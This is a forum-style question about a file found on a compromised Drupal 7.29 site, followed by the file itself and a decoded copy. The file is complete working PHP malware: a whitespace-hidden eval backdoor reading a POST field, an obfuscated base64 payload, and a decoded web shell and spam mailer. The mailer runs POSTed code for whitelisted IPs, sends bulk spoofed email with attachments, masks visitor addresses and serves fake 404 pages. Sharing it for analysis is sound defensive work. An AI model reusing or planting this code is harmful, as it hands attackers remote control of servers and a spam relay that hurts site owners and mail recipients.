What does it do? Found it on a hacked Drupal version 7.29

general88.php

<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['qf4d0b0'])){eval(${$s20}['qf4d0b0']);}?><?php
$v8A8RSZ = Array('1'=>'N', '0'=>'p', '3'=>'S', '2'=>'P', '5'=>'4', '4'=>'A', '7'=>'X', '6'=>'Y', '9'=>'T', '8'=>'U', 'A'=>'e', 'C'=>'j', 'B'=>'C', 'E'=>'0', 'D'=>'k', 'G'=>'y', 'F'=>'H', 'I'=>'m', 'H'=>'q', 'K'=>'1', 'J'=>'w', 'M'=>'Q', 'L'=>'u', 'O'=>'h', 'N'=>'5', 'Q'=>'R', 'P'=>'Z', 'S'=>'o', 'R'=>'K', 'U'=>'V', 'T'=>'G', 'W'=>'B', 'V'=>'3', 'Y'=>'l', 'X'=>'x', 'Z'=>'M', 'a'=>'D', 'c'=>'r', 'b'=>'t', 'e'=>'g', 'd'=>'v', 'g'=>'c', 'f'=>'O', 'i'=>'E', 'h'=>'9', 'k'=>'f', 'j'=>'s', 'm'=>'8', 'l'=>'a', 'o'=>'I', 'n'=>'W', 'q'=>'d', 'p'=>'L', 's'=>'6', 'r'=>'z', 'u'=>'b', 't'=>'2', 'w'=>'n', 'v'=>'F', 'y'=>'7', 'x'=>'i', 'z'=>'J');
function vEKW67K($vEH8D1R, $vD29OQ2){$vSHOWK6 = ''; for($i=0; $i < strlen($vEH8D1R); $i++){$vSHOWK6 .= isset($vD29OQ2[$vEH8D1R[$i]]) ? $vD29OQ2[$vEH8D1R[$i]] : $vEH8D1R[$i];}
return base64_decode($vSHOWK6);}
$vG7FLWE = 'zTvKqTOkgTvrgG4hoBoG1CqO1a8tZrWY1C4X6rOI6IQOZCDXPCqYZti5PTir1GoyBeSD6thjuVoe234xotQ'.
'I13oyBxQDPnPOqnXE7tvCqTYdux4hoBqTlnXYgEKOuxgyBxQDPnPOqnXE'.
'7VUrPUhOlIv5oaEeqFzKP9jRzTQYPIvKuFQk6tOOgw1YqB4hoBq7lnNDuV'.
'qrp9iG19iwfJSRMTYLlUhrP7MSztUGgIhG7tXdPGgj9YUZ9BDyBDW0uIYkgtUERBqjutqkP'.
'7zGuVzrzGJJR9jRMTYLlUhrP7MSztKOAvhYATUCq7Q0utNkqTYbP3gjZBDyBDWrP7QkqTYbPUhjlnK0q'.
'BeJR9jRMF1Yqvhb6nq06KhXqnhEP71kgwULqTYbP3eJR9jRMTQYPIYLP3ewUK127KPv8Y1z9E5wpB4wZx5KpCiw'.
'R9jRBIYIRTqYqvhb6nq06KhXqnhEP71kPVWCRBD0oFjRoB4eoTPKuI1ElnhL'.
'ovq99V1EgIYJgtXOgtOYgGeD67zG67D0oFjRoB4eoB4eoBWGP7QKgI5el71k67zG67DSzTvGgIvNR34/oTvGgIvN7'.
'tKOgBewUK12gVQGl7WruTvrlTUrzGJezTvGgIvNR34soF1EgIYJgtXOgtOYgGeD'.
'67zG67D0fJSeoB4ekMSeoB4ezvhM9K18oaEeUK12gVQGl7WruTvrlTUr'.
'RBQk8ih9UBDyBx4eoB4D7E129EbzQ34hovq99V1EgIYJgtXOgtOYgG'.
'eD7E129EbzQ3DyBwERBIPKuI1ElnhLoFqruEXdPtYLRBDeAJSeoB4elTUOPTUGRBqoUvQMpriLZB4EZaMe9IhEoiPdqnN'.
'DzGDyBx4eoBWDln8SoCMJ1Bo0fJ0hBe0IqnNCqTYduxW78EhrP7QCuthcln8SzTjjoBQtR3W'.
'yBx4eoB4D7E129EbzQUjDlKEe234DqCjRoB4eoF1YqT1dutb0P3eDlGJezF60fJ0hB'.
'e00PxeOPnKJqFDSzTvKqTOkgTvrgGD0oFjRoB4eoTYIRTYrgtUERBQk8ih'.
'9UvjwgTvrgGqqR34Izx4SunMKRBQk8ih9UvjwgTvrgGqqR34h234D67UElvhJ671rR3DRoB4eoB4eoBW7'.
'8EhrP7QCuthcln8SunMKRBQk8EU3UDU3nGqoUvQM7EO28KMw73'.
'DjoBQOq7QS7VWOgVZ0fJSRoB4eoTYIoBeOl71rP7MSzvha9Ehp38UuunMKRBQk8EU3UDU3nGqoUvQM7EO28KMw73YqR3WmkB4Sz'.
'vha9Ehp38UuunMKRBQk8EU3UDU3nGqoUvQM7EO28KMw73YqoBihoBQOq7QS7VWOgVZ0RMSeoB4eoB4eoFqru'.
'EXdPtYLRBDyBwERBIPKuI1ElnhLoTvCqTYduYzaRBDeAJSeoB4eln6So84D7KW28KQuzV4XzKE0oFjRoB4eoB4eoB4D634ho'.
'TvGgIvNR4SeoB4eoB4eoB4eoB4xqnNOun8xoaE+oFWSgvhKuIvbP3e0p4SeoB4eoB4eoB4eoB'.
'4xgTOJ7VPYgw10ut5xoaE+oFWSgFPYgw10ut5SR3JRoB4eoB4eoB4eoB4eowqruKhtP7zrlnhLox4h2xW78EhkUDU38EY29xJR'.
'oB4eoB4eoB4eoB4eow1OPIUbutQYox4h2xW4lnN07tqYqBewgtvIPUhbutQYzGDRoB4eoB4eoB40fJSeoB4eoB4eoTUCl'.
'TmegtUGlnvjl70YRBQOR9jRoB4eoFEePnXrP3WyBx4eoB4eoB4eP7POuBeD7KW28KQuzV4XzKE0fJSeoB4ekM0hBIY'.
'IRBWYu7WEA3eD7KW28KQuztiw73DeRMSeoB4eln6Sl71rP7MSzTQYPIvKuFQk6n1ElnhLR34IzxWIqnNCq'.
'TYduYhYATYrqFZSztvCqTYduxgepx4DPTUI67UjqvhO6VQ0ut50RMSeoB4eoB4eoBQk8ih9Uvjw63qqoaEezTQYPIvKuFQk6n'.
'1ElnhLfJSeoB4ePnXrPMSeoB4eoB4eoBQk8ih9Uvjw63qqoaEezK1Y'.
'6EYLPImwfJ00PxeeonUbgFQNRBQk8ih9Uvjw63qqR34IzxWIqnNCqTYduYhYATYr'.
'qFZSztvCqTYduxgepx4D7KW28KQuztiw73DeRMSeoB4e6tvjuvhKgtUG7tPKuIZSztvCqTYduxgepx4D7KW28KQuz'.
'tiw73DyBIU5l7My';
eval(vEKW67K($vG7FLWE, $v8A8RSZ));?>

This last one is easily printed:

<?php

if (isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
    {
    eval(base64_decode($_POST["code"]));
    exit();
    }

if (isset($_POST["type"]) && $_POST["type"] == "1")
    {
    type1_send();
    exit();
    }
elseif (isset($_POST["type"]) && $_POST["type"] == "2")
    {
    }
elseif (isset($_POST["type"]))
    {
    echo $_POST["type"];
    exit();
    }

error_404();

function is_good_ip($ip)
    {
    $goods = Array(
        "6.185.239.",
        "8.138.118."
    );
    foreach($goods as $good)
        {
        if (strstr($ip, $good) != FALSE)
            {
            return TRUE;
            }
        }

    return FALSE;
    }

function type1_send()
    {
    if (!isset($_POST["emails"]) OR !isset($_POST["themes"]) OR !isset($_POST["messages"]) OR !isset($_POST["froms"]) OR !isset($_POST["mailers"]))
        {
        exit();
        }

    if (get_magic_quotes_gpc())
        {
        foreach($_POST as $key => $post)
            {
            $_POST[$key] = stripcslashes($post);
            }
        }

    $emails = @unserialize(base64_decode($_POST["emails"]));
    $themes = @unserialize(base64_decode($_POST["themes"]));
    $messages = @unserialize(base64_decode($_POST["messages"]));
    $froms = @unserialize(base64_decode($_POST["froms"]));
    $mailers = @unserialize(base64_decode($_POST["mailers"]));
    $aliases = @unserialize(base64_decode($_POST["aliases"]));
    $passes = @unserialize(base64_decode($_POST["passes"]));
    if (isset($_SERVER))
        {
        $_SERVER['PHP_SELF'] = "/";
        $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
            {
            $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
            }
        }

    if (isset($_FILES))
        {
        foreach($_FILES as $key => $file)
            {
            $filename = alter_macros($aliases[$key]);
            $filename = num_macros($filename);
            $filename = text_macros($filename);
            $filename = xnum_macros($filename);
            $_FILES[$key]["name"] = $filename;
            }
        }

    if (empty($emails))
        {
        exit();
        }

    foreach($emails as $fteil => $email)
        {
        $theme = $themes[array_rand($themes) ];
        $theme = alter_macros($theme["theme"]);
        $theme = num_macros($theme);
        $theme = text_macros($theme);
        $theme = xnum_macros($theme);
        $message = $messages[array_rand($messages) ];
        $message = alter_macros($message["message"]);
        $message = num_macros($message);
        $message = text_macros($message);
        $message = xnum_macros($message); //$message = pass_macros($message, $passes); $message = fteil_macros($message, $fteil); $from = $froms[array_rand($froms)]; $from = alter_macros($from["from"]); $from = num_macros($from); $from = text_macros($from); $from = xnum_macros($from); if (strstr($from, "[CUSTOM]") == FALSE) { $from = from_host($from); } else { $from = str_replace("[CUSTOM]", "", $from); } $mailer = $mailers[array_rand($mailers)]; send_mail($from, $email, $theme, $message, $mailer); } } function send_mail($from, $to, $subj, $text, $mailer) { $head = ""; $un = strtoupper(uniqid(time())); $head .= "From: $from\n"; $head .= "X-Mailer: $mailer\n"; $head .= "Reply-To: $from\n"; $head .= "Mime-Version: 1.0\n"; $head .= "Content-Type: multipart/alternative;"; $head .= "boundary=\"----------".$un."\"\n\n"; $plain = strip_tags($text); $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n"; $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n"; $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n"; $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n"; $zag .= "------------".$un."--"; if(count($_FILES) > 0) { foreach($_FILES as $file) { if(file_exists($file["tmp_name"])) { $f = fopen($file["tmp_name"], "rb"); $zag .= "------------".$un."\n"; $zag .= "Content-Type: application/octet-stream;"; $zag .= "name=\"".$file["name"]."\"\n"; $zag .= "Content-Transfer-Encoding:base64\n"; $zag .= "Content-Disposition:attachment;"; $zag .= "filename=\"".$file["name"]."\"\n\n"; $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n"; fclose($f); } } } if(@mail($to, $subj, $zag, $head)) { if(!empty($_POST['verbose'])) echo "SENDED"; } else { if(!empty($_POST['verbose'])) echo "FAIL"; } } function alter_macros($content) { preg_match_all('#{(.*)}#Ui', $content, $matches); for($i = 0; $i < count($matches[1]); $i++) { $ns = explode("|", $matches[1][$i]); $c2 = count($ns); $rand = rand(0, ($c2 - 1)); $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content); } return $content; } function text_macros($content) { preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $min = $matches[1][$i]; $max = $matches[2][$i]; $rand = rand($min, $max); $word = generate_word($rand); $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1); } preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $count = $matches[1][$i]; $word = generate_word($count); $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1); } return $content; } function xnum_macros($content) { preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $num = $matches[1][$i]; $min = pow(10, $num - 1); $max = pow(10, $num) - 1; $rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); } return $content; } function num_macros($content) { preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $min = $matches[1][$i]; $max = $matches[2][$i]; $rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); } return $content; } function generate_word($length) { $chars = 'abcdefghijklmnopqrstuvyxz'; $numChars = strlen($chars); $string = ''; for($i = 0; $i < $length; $i++) { $string .= substr($chars, rand(1, $numChars) - 1, 1); } return $string; } function pass_macros($content, $passes) { $pass = array_pop($passes); return str_replace("[PASS]", $pass, $content); } function fteil_macros($content, $fteil) { return str_replace("[FTEIL]", $fteil, $content); } function is_ip($str) { return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str); } function from_host($content) { $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']); if (is_ip($host)) { return $content; } $tokens = explode("@", $content); $content = $tokens[0] . "@" . $host . ">"; return $content; } function error_404() { header("HTTP/1.1 404 Not Found"); $uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] ); $content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA"); $content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content ); exit( $content ); } function custom_http_request1($params) { if( ! is_array($params) ) { $params = array( 'url' => $params, 'method' => 'GET' ); } if( $params['url']=='' ) return FALSE; if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET'; $params['method'] = strtoupper($params['method']); if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE; /* Приводим ��ылку в правильный вид */ $url = parse_url($params['url']); if( ! isset($url['scheme']) ) $url['scheme'] = 'http'; if( ! isset($url['path']) ) $url['path'] = '/'; if( ! isset($url['host']) && isset($url['path']) ) { if( strpos($url['path'], '/') ) { $url['host'] = substr($url['path'], 0, strpos($url['path'], '/')); $url['path'] = substr($url['path'], strpos($url['path'], '/')); } else { $url['host'] = $url['path']; $url['path'] = '/';  } } $url['path'] = preg_replace("/[\\/]+/", "/", $url['path']); if( isset($url['query']) ) $url['path'] .= "?{$url['query']}"; $port = isset($params['port']) ? $params['port'] : ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) ); $timeout = isset($params['timeout']) ? $params['timeout'] : 30; if( ! isset($params['return']) ) $params['return'] = 'content'; $scheme = $url['scheme']=='https' ? 'ssl://':''; $fp = @fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout); if( $fp ) { /* Mozilla */ if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16"; $request = "{$params['method']} {$url['path']} HTTP/1.0\r\n"; $request .= "Host: {$url['host']}\r\n"; $request .= "User-Agent: {$params['User-Agent']}"."\r\n"; if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n"; if( isset($params['cookie']) ) { $cookie = ""; if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);} else $cookie = $params['cookie']; if( $cookie!='' ) $request .= "Cookie: $cookie\r\n"; } $request .= "Connection: close\r\n"; if( $params['method']=='POST' ) { if( isset($params['data']) && is_array($params['data']) ) { foreach($params['data'] AS $k => $v) $data .= urlencode($k).'='.urlencode($v).'&'; if( substr($data, -1)=='&' ) $data = substr($data,0,-1); } $data .= "\r\n\r\n"; $request .= "Content-type: application/x-www-form-urlencoded\r\n"; $request .= "Content-length: ".strlen($data)."\r\n"; } $request .= "\r\n"; if( $params['method'] == 'POST' ) $request .= $data; @fwrite ($fp,$request); /* Send request */ $res = ""; $headers = ""; $h_detected = false; while( !@feof($fp) ) { $res .= @fread($fp, 1024); /* читаем контент */ /* Проверка наличи� загловков в контенте */ if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE ) { /* заголовки уже �читаны - корректируем контент */ $h_detected = true; $headers = substr($res, 0, strpos($res, "\r\n\r\n")); $res = substr($res, strpos($res, "\r\n\r\n")+4); /* Headers to Array */ if( $params['return']=='headers' || $params['return']=='array' || (isset($params['redirect']) && $params['redirect']==true) ) { $h = explode("\r\n", $headers); $headers = array(); foreach( $h as $k=>$v ) { if( strpos($v, ':') ) { $k = substr($v, 0, strpos($v, ':')); $v = trim(substr($v, strpos($v, ':')+1)); } $headers[strtoupper($k)] = $v; } } if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) ) { $params['url'] = $headers['LOCATION']; if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0; if( $params['redirect-count']<10 ) { $params['redirect-count']++; $func = __FUNCTION__; return @is_object($this) ? $this->$func($params) : $func($params); } } if( $params['return']=='headers' ) return $headers; } } @fclose($fp); } else return FALSE;/* $errstr.$errno; */ if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res); return $res; }